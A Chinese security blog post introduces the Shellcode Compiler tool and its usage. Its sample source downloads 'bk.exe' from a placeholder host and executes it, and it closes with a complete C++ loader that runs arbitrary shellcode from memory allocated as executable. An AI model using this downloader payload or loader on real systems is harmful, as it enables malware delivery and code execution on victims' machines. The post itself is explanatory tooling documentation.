MENU

ShellCode自动生成

January 15, 2018 • Security

工具

Shellcode Compiler是2016年11月在罗马尼亚DefCamp上发布的一款ShellCode编译工具

特点

  1. C++开发
  2. 开源工具
  3. 借助NASM
  4. 可实现封装API,转换为Bin格式的ShellCode和ASM汇编代码

缺陷

  1. 不能使用API调用的返回值
  2. 不能使用指针或缓冲区
  3. 不能声明变量

命令行示例

-h (--help)      : Show this help message
-v (--verbose)   : Print detailed output
-t (--test)      : Test (execute) generated shellcode
-r (--read)      : Read source code file
-o (--output)    : Output file of the generated binary shellcode
-a (--assembbly) : Output file of the generated assembly code

源码示例

function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");

URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);

调用示例

ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

使用

shellcode.png

Source如下:

function MessageBoxA("user32.dll");
function ExitProcess("kernel32.dll");
MessageBoxA(0,"This is a MessageBox example","Shellcode Compiler",0);
ExitProcess(0);

Cmd运行:

ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

注:

  1. ShellCodeCompiler.exe和文件夹NASM放于同级目录
  2. 执行后ShellCode保存在ShellCode.bin文件中
  3. 可在生成过程中加入-t参数测试执行一次生成的ShellCode

提取ShellCodeCompiler代码中的ShellCode执行功能实现读取文件并加载文件中的ShellCode:

#include <windows.h>
size_t GetSize(char * szFilePath)
{
    size_t size;
    FILE* f = fopen(szFilePath, "rb");
    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);
    fclose(f);
    return size;
}
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)
{
    unsigned char *p = NULL;
    FILE* f = NULL;
    size_t res = 0;
    // Get size and allocate space
    *size = GetSize(szFilePath);
    if (*size == 0) return NULL;        
    f = fopen(szFilePath, "rb");
    if (f == NULL)
    {
        printf("Binary file does not exists!\n");
        return 0;
    }
    p = new unsigned char[*size];
    // Read file
    rewind(f);
    res = fread(p, sizeof(unsigned char), *size, f);
    fclose(f);
    if (res == 0)
    {
        delete[] p;
        return NULL;
    }
    return p;
}
int main(int argc, char* argv[])
{
    char *szFilePath=argv[1];  
    unsigned char *BinData = NULL;
    size_t size = 0;    
    BinData = ReadBinaryFile(szFilePath, &size);
    void *sc = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (sc == NULL)
    {       
        return 0;
    }
    memcpy(sc, BinData, size);
    (*(int(*)()) sc)();
    return 0;
}

参考

Archives QR Code
QR Code for this page
Tipping QR Code